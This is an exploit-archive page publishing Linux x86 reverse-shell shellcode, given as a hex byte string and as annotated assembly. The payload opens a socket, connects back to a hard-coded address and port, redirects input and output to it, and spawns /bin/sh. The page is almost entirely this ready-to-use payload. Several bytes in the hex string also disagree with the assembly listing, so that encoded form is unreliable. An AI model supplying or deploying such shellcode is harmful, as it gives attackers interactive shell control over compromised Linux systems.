Shellcode linux/x86 reverse shell



EKU-ID: 1474 CVE: OSVDB-ID:
Author: Gaussillusion Published: 2012-02-13 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


Shellcode linux/x86 reverse shell

;Author : Gaussillusion 
;Len      : 91 byte

;\x31\xc0\x31\xdb\x31\xd2\x50\xb0\x66\x43\x52
;\x6a\x01\x6a\x02\x80\xe1\xcd\x80\x66\xbe\x02
;\x00\x89\xc7\xb0\x66\xb3\x03\x68\x7f\x00\x00
;\x01\x66\x68\x27\x10\x66\x56\x89\xe2\x6a\x10
;\x52\x57\x89\xe1\xcd\x89\x31\xc9\x89\xfb\xb0
;\x3f\xb1\x00\xcd\x80\xb0\x3f\xb1\x01\xcd\x80
;\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62
;\x69\x6e\xb0\x0b\x89\xe3\x51\x89\xe2\x53\x89
;\xe1\xcd\x80


BITS 32
xor  eax,eax
xor  ebx,ebx
xor  edx,edx
push eax

mov  al,102 
inc  ebx                              ;socket
push edx 
push BYTE 0x1
push BYTE 0x2
mov  ecx,esp
int  0x80

mov  si,0x2
mov  edi,eax

mov  al,102                           ;connect
mov  bl,3 
push DWORD 0x0100007f      ;127.0.0.1
push WORD  0x1027
push WORD  si
mov  edx,esp
push BYTE 16
push edx
push edi
mov  ecx,esp
int  0x80

xor  ecx,ecx

mov  ebx,edi
mov  al,63
mov  cl,0
int  0x80

mov  al,63
mov  cl,1
int  0x80

xor  ecx,ecx
push ecx
push 0x68732f2f
push 0x6e69622f

mov  al,11
mov  ebx,esp
push ecx
mov  edx,esp
push ebx
mov  ecx,esp
int  0x80